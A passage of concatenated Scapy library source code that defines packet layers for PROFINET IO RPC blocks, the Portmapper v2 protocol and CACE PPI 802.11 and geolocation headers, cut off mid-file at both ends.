"Energy_saving_profile_record_0", 0x80b0: "CombinedObjectContainer", 0x80c0: "Sequence_events_profile_record_0", 0xaff0: "I&M0", 0xaff1: "I&M1", 0xaff2: "I&M2", 0xaff3: "I&M3", 0xaff4: "I&M4", 0xc000: "Expect edIdentificationData_slot", 0xc001: "RealId entificationData_slot", 0xc00a: "Diagno sis_channel_slot", 0xc00b: "Diagnosis_all_slot", 0xc00c: "Diagnosis_Maintenance_slot", 0xc010: "Maintenance_required_in_channel_slot", 0xc011: "Maintenance_demanded_in_channel_slot", 0xc012: "Maintenance_required_in_all_channels_slot", 0xc013: "Maintenance_demanded_in_all_channels_slot", 0xe000: "ExpectedIdentificationData_AR", 0xe001: "RealIdentificationData_AR", 0xe002: "ModuleDiffBlock_AR", 0xe00a: "Diagnosis_channel_AR", 0xe00b: "Diagnosis_all_AR", 0xe00c: "Diagnosis_Maintenance_AR", 0xe010: "Maintenance_required_in_channel_AR", 0xe011: "Maintenance_demanded_in_channel_AR", 0xe012: "Maintenance_required_in_all_channels_AR", 0xe013: "Maintenance_demanded_in_all_channels_AR", 0xe040: "WriteMultiple", 0xe050: "ARFSUDataAdjust_AR", 0xf000: "RealIdentificationData_API", 0xf00a: "Diagnosis_channel_API", 0xf00b: "Diagnosis_all_API", 0xf00c: "Diagnosis_Maintenance_API", 0xf010: "Maintenance_required_in_channel_API", 0xf011: "Maintenance_demanded_in_channel_API", 0xf012: "Maintenance_required_in_all_channels_API", 0xf013: "Maintenance_demanded_in_all_channels_API", 0xf020: "ARData_API", 0xf80c: "Diagnosis_Maintenance_device", 0xf820: "ARData", 0xf821: "APIData", 0xf830: "LogBookData", 0xf831: "PdevData", 0xf840: "I&M0FilterData", 0xf841: "PDRealData", 0xf842: "PDExpectedData", 0xf850: "AutoConfiguration", 0xf860: "GSD_upload", 0xf861: "Nested_Diagnosis_info", 0xfbff: "Trigger_index_CMSM", } # ARBlockReq Packets AR_TYPE = { 0x0001: "IOCARSingle", 0x0006: "IOSAR", 0x0010: "IOCARSingle_RT_CLASS_3", 0x0020: "IOCARSR", } # IOCRBlockReq Packets IOCR_TYPE = { 0x0001: "InputCR", 0x0002: "OutputCR", 0x0003: "MulticastProviderCR", 0x0004: "MulticastConsumerCR", } IOCR_BLOCK_REQ_IOCR_PROPERTIES = { 0x1: "RT_CLASS_1", 0x2: "RT_CLASS_2", 0x3: "RT_CLASS_3", 0x4: "RT_CLASS_UDP", } # List of all valid activity UUIDs for the DceRpc layer with PROFINET RPC # endpoint. # # Because these are used in overloaded_fields, it must be a ``UUID``, not a # string. RPC_INTERFACE_UUID = { "UUID_IO_DeviceInterface": UUID("dea00001-6c97-11d1-8271-00a02442df7d"), "UUID_IO_ControllerInterface": UUID("dea00002-6c97-11d1-8271-00a02442df7d"), "UUID_IO_SupervisorInterface": UUID("dea00003-6c97-11d1-8271-00a02442df7d"), "UUID_IO_ParameterServerInterface": UUID("dea00004-6c97-11d1-8271-00a02442df7d"), } # Generic Block Packet class BlockHeader(Packet): """Abstract packet to centralize block headers fields""" fields_desc = [ ShortEnumField("block_type", None, BLOCK_TYPES_ENUM), ShortField("block_length", None), ByteField("block_version_high", 1), ByteField("block_version_low", 0), ] def __new__(cls, name, bases, dct): raise NotImplementedError() class Block(Packet): """A generic block packet for PNIO RPC""" fields_desc = [ BlockHeader, StrLenField("load", "", length_from=lambda pkt: pkt.block_length - 2), ] # default block_type block_type = 0 def post_build(self, p, pay): # update the block_length if needed if self.block_length is None: # block_length and block_type are not part of the length count length = len(p) - 4 p = p[:2] + struct.pack("!H", length) + p[4:] return Packet.post_build(self, p, pay) def extract_padding(self, s): # all fields after block_length are included in the length and must be # subtracted from the pdu length l length = self.payload_length() return s[:length], s[length:] def payload_length(self): """ A function for each block, to determine the length of the payload """ return 0 # default, no payload # Specific Block Packets # IODControlRe{q,s} class IODControlReq(Block): """IODControl request block""" fields_desc = [ BlockHeader, StrFixedLenField("padding", "", length=2), UUIDField("ARUUID", None), ShortField("SessionKey", 0), XShortField("AlarmSequenceNumber", 0), # ControlCommand BitField("ControlCommand_reserved", 0, 9), BitField("ControlCommand_PrmBegin", 0, 1), BitField("ControlCommand_ReadyForRT_CLASS_3", 0, 1), BitField("ControlCommand_ReadyForCompanion", 0, 1), BitField("ControlCommand_Done", 0, 1), BitField("ControlCommand_Release", 0, 1), BitField("ControlCommand_ApplicationReady", 0, 1), BitField("ControlCommand_PrmEnd", 0, 1), XShortField("ControlBlockProperties", 0) ] def post_build(self, p, pay): # Try to find the right block type if self.block_type is None: if self.ControlCommand_PrmBegin: p = struct.pack("!H", 0x0118) + p[2:] elif self.ControlCommand_ReadyForRT_CLASS_3: p = struct.pack("!H", 0x0117) + p[2:] elif self.ControlCommand_ReadyForCompanion: p = struct.pack("!H", 0x0116) + p[2:] elif self.ControlCommand_Release: p = struct.pack("!H", 0x0114) + p[2:] elif self.ControlCommand_ApplicationReady: if self.AlarmSequenceNumber > 0: p = struct.pack("!H", 0x0113) + p[2:] else: p = struct.pack("!H", 0x0112) + p[2:] elif self.ControlCommand_PrmEnd: if self.AlarmSequenceNumber > 0: p = struct.pack("!H", 0x0111) + p[2:] else: p = struct.pack("!H", 0x0110) + p[2:] return Block.post_build(self, p, pay) def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IODControlRes() for field in ["ARUUID", "SessionKey", "AlarmSequenceNumber"]: res.setfieldval(field, self.getfieldval(field)) res.block_type = self.block_type + 0x8000 return res class IODControlRes(Block): """IODControl response block""" fields_desc = [ BlockHeader, StrFixedLenField("padding", "", length=2), UUIDField("ARUUID", None), ShortField("SessionKey", 0), XShortField("AlarmSequenceNumber", 0), # ControlCommand BitField("ControlCommand_reserved", 0, 9), BitField("ControlCommand_PrmBegin", 0, 1), BitField("ControlCommand_ReadyForRT_CLASS_3", 0, 1), BitField("ControlCommand_ReadyForCompanion", 0, 1), BitField("ControlCommand_Done", 1, 1), BitField("ControlCommand_Release", 0, 1), BitField("ControlCommand_ApplicationReady", 0, 1), BitField("ControlCommand_PrmEnd", 0, 1), XShortField("ControlBlockProperties", 0) ] # default block_type value block_type = 0x8110 # The block_type can be among 0x8110 to 0x8118 except 0x8115 # The right type is however determine by the type of the request # (same type as the request + 0x8000) # IODWriteRe{q,s} class IODWriteReq(Block): """IODWrite request block""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), LenField("recordDataLength", None, fmt="I"), StrFixedLenField("RWPadding", "", length=24), ] # default block_type value block_type = 0x0008 def payload_length(self): return self.recordDataLength def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IODWriteRes() for field in ["seqNum", "ARUUID", "API", "slotNumber", "subslotNumber", "index"]: res.setfieldval(field, self.getfieldval(field)) return res class IODWriteRes(Block): """IODWrite response block""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0), XShortField("slotNumber", 0), XShortField("subslotNumber", 0), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), LenField("recordDataLength", None, fmt="I"), XShortField("additionalValue1", 0), XShortField("additionalValue2", 0), IntEnumField("status", 0, ["OK"]), StrFixedLenField("RWPadding", "", length=16), ] # default block_type value block_type = 0x8008 F_PARAMETERS_BLOCK_ID = [ "No_F_WD_Time2_No_F_iPar_CRC", "No_F_WD_Time2_F_iPar_CRC", "F_WD_Time2_No_F_iPar_CRC", "F_WD_Time2_F_iPar_CRC", "reserved_4", "reserved_5", "reserved_6", "reserved_7" ] class FParametersBlock(Packet): """F-Parameters configuration block""" name = "F-Parameters Block" fields_desc = [ # F_Prm_Flag1 BitField("F_Prm_Flag1_Reserved_7", 0, 1), BitField("F_CRC_Seed", 0, 1), BitEnumField("F_CRC_Length", 0, 2, ["CRC-24", "depreciated", "CRC-32", "reserved"]), BitEnumField("F_SIL", 2, 2, ["SIL_1", "SIL_2", "SIL_3", "No_SIL"]), BitField("F_Check_iPar", 0, 1), BitField("F_Check_SeqNr", 0, 1), # F_Prm_Flag2 BitEnumField("F_Par_Version", 1, 2, ["V1", "V2", "reserved_2", "reserved_3"]), BitEnumField("F_Block_ID", 0, 3, F_PARAMETERS_BLOCK_ID), BitField("F_Prm_Flag2_Reserved", 0, 2), BitField("F_Passivation", 0, 1), XShortField("F_Source_Add", 0), XShortField("F_Dest_Add", 0), ShortField("F_WD_Time", 0), ConditionalField( cond=lambda p: p.getfieldval("F_Block_ID") & 0b110 == 0b010, fld=ShortField("F_WD_Time_2", 0)), ConditionalField( cond=lambda p: p.getfieldval("F_Block_ID") & 0b101 == 0b001, fld=XIntField("F_iPar_CRC", 0)), XShortField("F_Par_CRC", 0) ] overload_fields = { IODWriteReq: { "index": 0x100, # commonly used index for F-Parameters block } } bind_layers(IODWriteReq, FParametersBlock, index=0x0100) bind_layers(FParametersBlock, conf.padding_layer) # IODWriteMultipleRe{q,s} class PadFieldWithLen(PadField): """PadField which handles the i2len function to include padding""" def i2len(self, pkt, val): """get the length of the field, including the padding length""" fld_len = self._fld.i2len(pkt, val) return fld_len + self.padlen(fld_len) class IODWriteMultipleReq(Block): """IODWriteMultiple request""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0xffffffff), XShortField("slotNumber", 0xffff), XShortField("subslotNumber", 0xffff), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), FieldLenField("recordDataLength", None, fmt="I", length_of="blocks"), StrFixedLenField("RWPadding", "", length=24), FieldListField("blocks", [], PadFieldWithLen(PacketField("", None, IODWriteReq), 4), length_from=lambda pkt: pkt.recordDataLength) ] # default values block_type = 0x0008 index = 0xe040 API = 0xffffffff slotNumber = 0xffff subslotNumber = 0xffff def post_build(self, p, pay): # patch the update of block_length, as requests field must not be # included. block_length is always 60 if self.block_length is None: p = p[:2] + struct.pack("!H", 60) + p[4:] # Remove the final padding added in requests fld, val = self.getfield_and_val("blocks") if fld.i2count(self, val) > 0: length = len(val[-1]) pad = fld.field.padlen(length) if pad > 0: p = p[:-pad] # also reduce the recordDataLength accordingly if self.recordDataLength is None: val = struct.unpack("!I", p[36:40])[0] val -= pad p = p[:36] + struct.pack("!I", val) + p[40:] return Packet.post_build(self, p, pay) def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IODWriteMultipleRes() for field in ["seqNum", "ARUUID", "API", "slotNumber", "subslotNumber", "index"]: res.setfieldval(field, self.getfieldval(field)) # append all block response res_blocks = [] for block in self.getfieldval("blocks"): res_blocks.append(block.get_response()) res.setfieldval("blocks", res_blocks) return res class IODWriteMultipleRes(Block): """IODWriteMultiple response""" fields_desc = [ BlockHeader, ShortField("seqNum", 0), UUIDField("ARUUID", None), XIntField("API", 0xffffffff), XShortField("slotNumber", 0xffff), XShortField("subslotNumber", 0xffff), StrFixedLenField("padding", "", length=2), XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), FieldLenField("recordDataLength", None, fmt="I", length_of="blocks"), XShortField("additionalValue1", 0), XShortField("additionalValue2", 0), IntEnumField("status", 0, ["OK"]), StrFixedLenField("RWPadding", "", length=16), FieldListField("blocks", [], PacketField("", None, IODWriteRes), length_from=lambda pkt: pkt.recordDataLength) ] # default values block_type = 0x8008 index = 0xe040 def post_build(self, p, pay): # patch the update of block_length, as requests field must not be # included. block_length is always 60 if self.block_length is None: p = p[:2] + struct.pack("!H", 60) + p[4:] return Packet.post_build(self, p, pay) # ARBlockRe{q,s} class ARBlockReq(Block): """Application relationship block request""" fields_desc = [ BlockHeader, XShortEnumField("ARType", 1, AR_TYPE), UUIDField("ARUUID", None), ShortField("SessionKey", 0), MACField("CMInitiatorMacAdd", None), UUIDField("CMInitiatorObjectUUID", None), # ARProperties BitField("ARProperties_PullModuleAlarmAllowed", 0, 1), BitEnumField("ARProperties_StartupMode", 0, 1, ["Legacy", "Advanced"]), BitField("ARProperties_reserved_3", 0, 6), BitField("ARProperties_reserved_2", 0, 12), BitField("ARProperties_AcknowledgeCompanionAR", 0, 1), BitEnumField("ARProperties_CompanionAR", 0, 2, ["Single_AR", "First_AR", "Companion_AR", "reserved"]), BitEnumField("ARProperties_DeviceAccess", 0, 1, ["ExpectedSubmodule", "Controlled_by_IO_device_app"]), BitField("ARProperties_reserved_1", 0, 3), BitEnumField("ARProperties_ParametrizationServer", 0, 1, ["External_PrmServer", "CM_Initator"]), BitField("ARProperties_SupervisorTakeoverAllowed", 0, 1), BitEnumField("ARProperties_State", 1, 3, {1: "Active"}), ShortField("CMInitiatorActivityTimeoutFactor", 1000), ShortField("CMInitiatorUDPRTPort", 0x8892), FieldLenField("StationNameLength", None, fmt="H", length_of="CMInitiatorStationName"), StrLenField("CMInitiatorStationName", "", length_from=lambda pkt: pkt.StationNameLength), ] # default block_type value block_type = 0x0101 def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = ARBlockRes() for field in ["ARType", "ARUUID", "SessionKey"]: res.setfieldval(field, self.getfieldval(field)) return res class ARBlockRes(Block): """Application relationship block response""" fields_desc = [ BlockHeader, XShortEnumField("ARType", 1, AR_TYPE), UUIDField("ARUUID", None), ShortField("SessionKey", 0), MACField("CMResponderMacAdd", None), ShortField("CMResponderUDPRTPort", 0x8892), ] # default block_type value block_type = 0x8101 # IOCRBlockRe{q,s} class IOCRAPIObject(Packet): """API item descriptor used in API description of IOCR blocks""" name = "API item" fields_desc = [ XShortField("SlotNumber", 0), XShortField("SubslotNumber", 0), ShortField("FrameOffset", 0), ] def extract_padding(self, s): return None, s # No extra payload class IOCRAPI(Packet): """API description used in IOCR block""" name = "API" fields_desc = [ XIntField("API", 0), FieldLenField("NumberOfIODataObjects", None, count_of="IODataObjects"), PacketListField("IODataObjects", [], IOCRAPIObject, count_from=lambda p: p.NumberOfIODataObjects), FieldLenField("NumberOfIOCS", None, count_of="IOCSs"), PacketListField("IOCSs", [], IOCRAPIObject, count_from=lambda p: p.NumberOfIOCS), ] def extract_padding(self, s): return None, s # No extra payload class IOCRBlockReq(Block): """IO Connection Relationship block request""" fields_desc = [ BlockHeader, XShortEnumField("IOCRType", 1, IOCR_TYPE), XShortField("IOCRReference", 1), XShortField("LT", 0x8892), # IOCRProperties BitField("IOCRProperties_reserved3", 0, 8), BitField("IOCRProperties_reserved2", 0, 11), BitField("IOCRProperties_reserved1", 0, 9), BitEnumField("IOCRProperties_RTClass", 0, 4, IOCR_BLOCK_REQ_IOCR_PROPERTIES), ShortField("DataLength", 40), XShortField("FrameID", 0x8000), ShortField("SendClockFactor", 32), ShortField("ReductionRatio", 32), ShortField("Phase", 1), ShortField("Sequence", 0), XIntField("FrameSendOffset", 0xffffffff), ShortField("WatchdogFactor", 10), ShortField("DataHoldFactor", 10), # IOCRTagHeader BitEnumField("IOCRTagHeader_IOUserPriority", 6, 3, {6: "IOCRPriority"}), BitField("IOCRTagHeader_reserved", 0, 1), BitField("IOCRTagHeader_IOCRVLANID", 0, 12), MACField("IOCRMulticastMACAdd", None), FieldLenField("NumberOfAPIs", None, fmt="H", count_of="APIs"), PacketListField("APIs", [], IOCRAPI, count_from=lambda p: p.NumberOfAPIs) ] # default block_type value block_type = 0x0102 def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ res = IOCRBlockRes() for field in ["IOCRType", "IOCRReference", "FrameID"]: res.setfieldval(field, self.getfieldval(field)) return res class IOCRBlockRes(Block): """IO Connection Relationship block response""" fields_desc = [ BlockHeader, XShortEnumField("IOCRType", 1, IOCR_TYPE), XShortField("IOCRReference", 1), XShortField("FrameID", 0x8000), ] # default block_type value block_type = 0x8102 # ExpectedSubmoduleBlockReq class ExpectedSubmoduleDataDescription(Packet): """Description of the data of a submodule""" name = "Data Description" fields_desc = [ XShortEnumField("DataDescription", 0, {1: "Input", 2: "Output"}), ShortField("SubmoduleDataLength", 0), ByteField("LengthIOCS", 0), ByteField("LengthIOPS", 0), ] def extract_padding(self, s): return None, s # No extra payload class ExpectedSubmodule(Packet): """Description of a submodule in an API of an expected submodule""" name = "Submodule" fields_desc = [ XShortField("SubslotNumber", 0), XIntField("SubmoduleIdentNumber", 0), # Submodule Properties XByteField("SubmoduleProperties_reserved_2", 0), BitField("SubmoduleProperties_reserved_1", 0, 2), BitField("SubmoduleProperties_DiscardIOXS", 0, 1), BitField("SubmoduleProperties_ReduceOutputSubmoduleDataLength", 0, 1), BitField("SubmoduleProperties_ReduceInputSubmoduleDataLength", 0, 1), BitField("SubmoduleProperties_SharedInput", 0, 1), BitEnumField("SubmoduleProperties_Type", 0, 2, ["NO_IO", "INPUT", "OUTPUT", "INPUT_OUTPUT"]), PacketListField( "DataDescription", [], ExpectedSubmoduleDataDescription, count_from=lambda p: 2 if p.SubmoduleProperties_Type == 3 else 1 ), ] def extract_padding(self, s): return None, s # No extra payload class ExpectedSubmoduleAPI(Packet): """Description of an API in the expected submodules blocks""" name = "API" fields_desc = [ XIntField("API", 0), XShortField("SlotNumber", 0), XIntField("ModuleIdentNumber", 0), XShortField("ModuleProperties", 0), FieldLenField("NumberOfSubmodules", None, fmt="H", count_of="Submodules"), PacketListField("Submodules", [], ExpectedSubmodule, count_from=lambda p: p.NumberOfSubmodules), ] def extract_padding(self, s): return None, s # No extra payload class ExpectedSubmoduleBlockReq(Block): """Expected submodule block request""" fields_desc = [ BlockHeader, FieldLenField("NumberOfAPIs", None, fmt="H", count_of="APIs"), PacketListField("APIs", [], ExpectedSubmoduleAPI, count_from=lambda p: p.NumberOfAPIs) ] # default block_type value block_type = 0x0104 def get_response(self): """Generate the response block of this request. Careful: it only sets the fields which can be set from the request """ return None # no response associated (should be modulediffblock) # PROFINET IO DCE/RPC PDU PNIO_RPC_BLOCK_ASSOCIATION = { # requests "0101": ARBlockReq, "0102": IOCRBlockReq, "0104": ExpectedSubmoduleBlockReq, "0110": IODControlReq, "0111": IODControlReq, "0112": IODControlReq, "0113": IODControlReq, "0114": IODControlReq, "0116": IODControlReq, "0117": IODControlReq, "0118": IODControlReq, # responses "8101": ARBlockRes, "8102": IOCRBlockRes, "8110": IODControlRes, "8111": IODControlRes, "8112": IODControlRes, "8113": IODControlRes, "8114": IODControlRes, "8116": IODControlRes, "8117": IODControlRes, "8118": IODControlRes, } def _guess_block_class(_pkt, *args, **kargs): cls = Block # Default block type # Special cases if _pkt[:2] == b'\x00\x08': # IODWriteReq if _pkt[34:36] == b'\xe0@': # IODWriteMultipleReq cls = IODWriteMultipleReq else: cls = IODWriteReq elif _pkt[:2] == b'\x80\x08': # IODWriteRes if _pkt[34:36] == b'\xe0@': # IODWriteMultipleRes cls = IODWriteMultipleRes else: cls = IODWriteRes # Common cases else: btype = bytes_hex(_pkt[:2]).decode("utf8") if btype in PNIO_RPC_BLOCK_ASSOCIATION: cls = PNIO_RPC_BLOCK_ASSOCIATION[btype] return cls(_pkt, *args, **kargs) def dce_rpc_endianess(pkt): """determine the symbol for the endianness of a the DCE/RPC""" try: endianness = pkt.underlayer.endianness except AttributeError: # handle the case where a PNIO class is # built without its DCE-RPC under-layer # i.e there is no endianness indication return "!" if endianness == 0: # big endian return ">" elif endianness == 1: # little endian return "<" else: return "!" class NDRData(Packet): """Base NDRData to centralize some fields. It can't be instantiated""" fields_desc = [ EndiannessField( FieldLenField("args_length", None, fmt="I", length_of="blocks"), endianess_from=dce_rpc_endianess), EndiannessField( FieldLenField("max_count", None, fmt="I", length_of="blocks"), endianess_from=dce_rpc_endianess), EndiannessField( IntField("offset", 0), endianess_from=dce_rpc_endianess), EndiannessField( FieldLenField("actual_count", None, fmt="I", length_of="blocks"), endianess_from=dce_rpc_endianess), PacketListField("blocks", [], _guess_block_class, length_from=lambda p: p.args_length) ] def __new__(cls, name, bases, dct): raise NotImplementedError() class PNIOServiceReqPDU(Packet): """PNIO PDU for RPC Request""" fields_desc = [ EndiannessField( FieldLenField("args_max", None, fmt="I", length_of="blocks"), endianess_from=dce_rpc_endianess), NDRData, ] overload_fields = { DceRpc: { # random object_uuid in the appropriate range "object_uuid": RandUUID("dea00000-6c97-11d1-8271-******"), # interface uuid to send to a device "interface_uuid": RPC_INTERFACE_UUID["UUID_IO_DeviceInterface"], # Request DCE/RPC type "type": 0, }, } @classmethod def can_handle(cls, pkt, rpc): """heuristic guess_payload_class""" # type = 0 => request if rpc.getfieldval("type") == 0 and \ str(rpc.object_uuid).startswith("dea00000-6c97-11d1-8271-"): return True return False DceRpcPayload.register_possible_payload(PNIOServiceReqPDU) class PNIOServiceResPDU(Packet): """PNIO PDU for RPC Response""" fields_desc = [ EndiannessField(IntEnumField("status", 0, ["OK"]), endianess_from=dce_rpc_endianess), NDRData, ] overload_fields = { DceRpc: { # random object_uuid in the appropriate range "object_uuid": RandUUID("dea00000-6c97-11d1-8271-******"), # interface uuid to send to a host "interface_uuid": RPC_INTERFACE_UUID[ "UUID_IO_ControllerInterface"], # Request DCE/RPC type "type": 2, }, } @classmethod def can_handle(cls, pkt, rpc): """heuristic guess_payload_class""" # type = 2 => response if rpc.getfieldval("type") == 2 and \ str(rpc.object_uuid).startswith("dea00000-6c97-11d1-8271-"): return True return False DceRpcPayload.register_possible_payload(PNIOServiceResPDU) scapy-2.4.4/scapy/contrib/portmap.py000066400000000000000000000041601372370053500174610ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Lucas Preston # This program is published under a GPLv2 license # scapy.contrib.description = Portmapper v2 # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import IntField, PacketListField from scapy.contrib.oncrpc import RPC, RPC_Call class GETPORT_Call(Packet): name = 'GETPORT Call' fields_desc = [ IntField('prog', 0), IntField('vers', 0), IntField('prot', 0), IntField('port', 0) ] class GETPORT_Reply(Packet): name = 'GETPORT Reply' fields_desc = [ IntField('port', 0) ] bind_layers(RPC, GETPORT_Call, mtype=0) bind_layers(RPC, GETPORT_Reply, mtype=1) bind_layers( RPC_Call, GETPORT_Call, program=100000, pversion=2, procedure=3 ) class NULL_Call(Packet): name = 'PORTMAP NULL Call' fields_desc = [] class NULL_Reply(Packet): name = 'PORTMAP NULL Reply' fields_desc = [] bind_layers(RPC, NULL_Call, mtype=0) bind_layers(RPC, NULL_Reply, mtype=1) bind_layers(RPC_Call, NULL_Call, program=100000, pversion=2, procedure=0) class Map_Entry(Packet): name = 'PORTMAP Map Entry' fields_desc = [ IntField('prog', 0), IntField('vers', 0), IntField('prot', 0), IntField('port', 0), IntField('value_follows', 0) ] def extract_padding(self, s): return '', s class DUMP_Call(Packet): name = 'PORTMAP DUMP Call' fields_desc = [] class DUMP_Reply(Packet): name = 'PORTMAP DUMP Reply' fields_desc = [ IntField('value_follows', 0), PacketListField('mappings', [], cls=Map_Entry, next_cls_cb=lambda pkt, lst, cur, remain: Map_Entry if pkt.value_follows == 1 and (len(lst) == 0 or cur.value_follows == 1) and len(remain) > 4 else None) ] bind_layers(RPC, DUMP_Call, mtype=0) bind_layers(RPC, DUMP_Reply, mtype=1) bind_layers(RPC_Call, DUMP_Call, program=100000, pversion=2, procedure=4) scapy-2.4.4/scapy/contrib/ppi_cace.py000066400000000000000000000054331372370053500175460ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # author: # scapy.contrib.description = CACE Per-Packet Information (PPI) # scapy.contrib.status = loads """ CACE PPI types """ from scapy.data import PPI_DOT11COMMON from scapy.packet import bind_layers from scapy.fields import ByteField, Field, FlagsField, LELongField, \ LEShortField from scapy.layers.ppi import PPI_Hdr, PPI_Element # PPI 802.11 Common Field Header Fields class dBmByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") def i2repr(self, pkt, x): if x is not None: x = "%4d dBm" % x return x class PPITSFTField(LELongField): def i2h(self, pkt, x): flags = 0 if pkt: flags = pkt.getfieldval("Pkt_Flags") if not flags: flags = 0 if flags & 0x02: scale = 1e-3 else: scale = 1e-6 tout = scale * float(x) return tout def h2i(self, pkt, x): scale = 1e6 if pkt: flags = pkt.getfieldval("Pkt_Flags") if flags and (flags & 0x02): scale = 1e3 tout = int((scale * x) + 0.5) return tout _PPIDot11CommonChFlags = [ '', '', '', '', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', 'PassiveOnly', 'Dynamic CCK-OFDM', 'GSFK'] _PPIDot11CommonPktFlags = ['FCS', 'TSFT_ms', 'FCS_Invalid', 'PHY_Error'] # PPI 802.11 Common Field Header class PPI_Dot11Common(PPI_Element): name = "PPI 802.11-Common" fields_desc = [PPITSFTField('TSF_Timer', 0), FlagsField('Pkt_Flags', 0, -16, _PPIDot11CommonPktFlags), LEShortField('Rate', 0), LEShortField('Ch_Freq', 0), FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags), ByteField('FHSS_Hop', 0), ByteField('FHSS_Pat', 0), dBmByteField('Antsignal', -128), dBmByteField('Antnoise', -128)] def extract_padding(self, s): return b'', s # Hopefully other CACE defined types will be added here. # Add the dot11common layer to the PPI array bind_layers(PPI_Hdr, PPI_Dot11Common, pfh_type=PPI_DOT11COMMON) scapy-2.4.4/scapy/contrib/ppi_geotag.py000066400000000000000000000350131372370053500201160ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # author: # scapy.contrib.description = CACE Per-Packet Information (PPI) Geolocation # scapy.contrib.status = loads """ PPI-GEOLOCATION tags """ from __future__ import absolute_import import functools import struct from scapy.base_classes import Packet_metaclass from scapy.data import PPI_GPS, PPI_VECTOR, PPI_SENSOR, PPI_ANTENNA from scapy.packet import bind_layers from scapy.fields import ByteField, ConditionalField, Field, FlagsField, \ LEIntField, LEShortEnumField, LEShortField, StrFixedLenField, \ UTCTimeField, XLEIntField, SignedByteField, XLEShortField from scapy.layers.ppi import PPI_Hdr, PPI_Element from scapy.error import warning import scapy.modules.six as six from scapy.modules.six.moves import range CURR_GEOTAG_VER = 2 # Major revision of specification # The FixedX_Y Fields are used to store fixed point numbers in a variety of # fields in the GEOLOCATION-TAGS specification class _RMMLEIntField(LEIntField): __slots__ = ["min_i2h", "max_i2h", "lambda_i2h", "min_h2i", "max_h2i", "lambda_h2i", "rname", "ffmt"] def __init__(self, name, default, _min, _max, _min2, _max2, _lmb, _lmb2, fmt, *args, **kargs): LEIntField.__init__(self, name, default, *args, **kargs) self.min_i2h = _min self.max_i2h = _max self.lambda_i2h = _lmb self.min_h2i = _min2 self.max_h2i = _max2 self.lambda_h2i = _lmb2 self.rname = self.__class__.__name__ self.ffmt = fmt def i2h(self, pkt, x): if x is not None: if (x < self.min_i2h): warning("%s: Internal value too negative: %d", self.rname, x) x = int(round(self.min_i2h)) elif (x > self.max_i2h): warning("%s: Internal value too positive: %d", self.rname, x) x = self.max_i2h x = self.lambda_i2h(x) return x def h2i(self, pkt, x): if x is not None: if (x < self.min_h2i): warning("%s: Input value too negative: %.10f", self.rname, x) x = int(round(self.min_h2i)) elif (x >= self.max_h2i): warning("%s: Input value too positive: %.10f", self.rname, x) x = int(round(self.max_h2i)) x = self.lambda_h2i(x) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: # Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self, pkt, x): if x is None: y = 0 else: y = self.i2h(pkt, x) return ("%" + self.ffmt) % (y) class Fixed3_6Field(_RMMLEIntField): def __init__(self, name, default, *args, **kargs): _RMMLEIntField.__init__(self, name, default, 0, 999999999, -0.5e-6, 999.9999995, lambda x: x * 1e-6, lambda x: int(round(x * 1e6)), "3.6f") class Fixed3_7Field(_RMMLEIntField): def __init__(self, name, default, *args, **kargs): _RMMLEIntField.__init__(self, name, default, 0, 3600000000, -180.00000005, 180.00000005, lambda x: (x - 1800000000) * 1e-7, lambda x: int(round((x + 180.0) * 1e7)), "3.7f") class Fixed6_4Field(_RMMLEIntField): def __init__(self, name, default, *args, **kargs): _RMMLEIntField.__init__(self, name, default, 0, 3600000000, -180000.00005, 180000.00005, lambda x: (x - 1800000000) * 1e-4, lambda x: int(round((x + 180000.0) * 1e4)), "6.4f") # The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns # counter. # The ept field is as well, class NSCounter_Field(_RMMLEIntField): def __init__(self, name, default): _RMMLEIntField.__init__(self, name, default, 0, 2**32, 0, (2**32 - 1) / 1e9, lambda x: (x / 1e9), lambda x: int(round(x * 1e9)), "1.9f") class LETimeField(UTCTimeField, LEIntField): __slots__ = ["epoch", "delta", "strf"] def __init__(self, name, default, epoch=None, strf="%a, %d %b %Y %H:%M:%S %z"): LEIntField.__init__(self, name, default) UTCTimeField.__init__(self, name, default, epoch=epoch, strf=strf) class GPSTime_Field(LETimeField): def __init__(self, name, default): LETimeField.__init__(self, name, default, strf="%a, %d %b %Y %H:%M:%S UTC") class 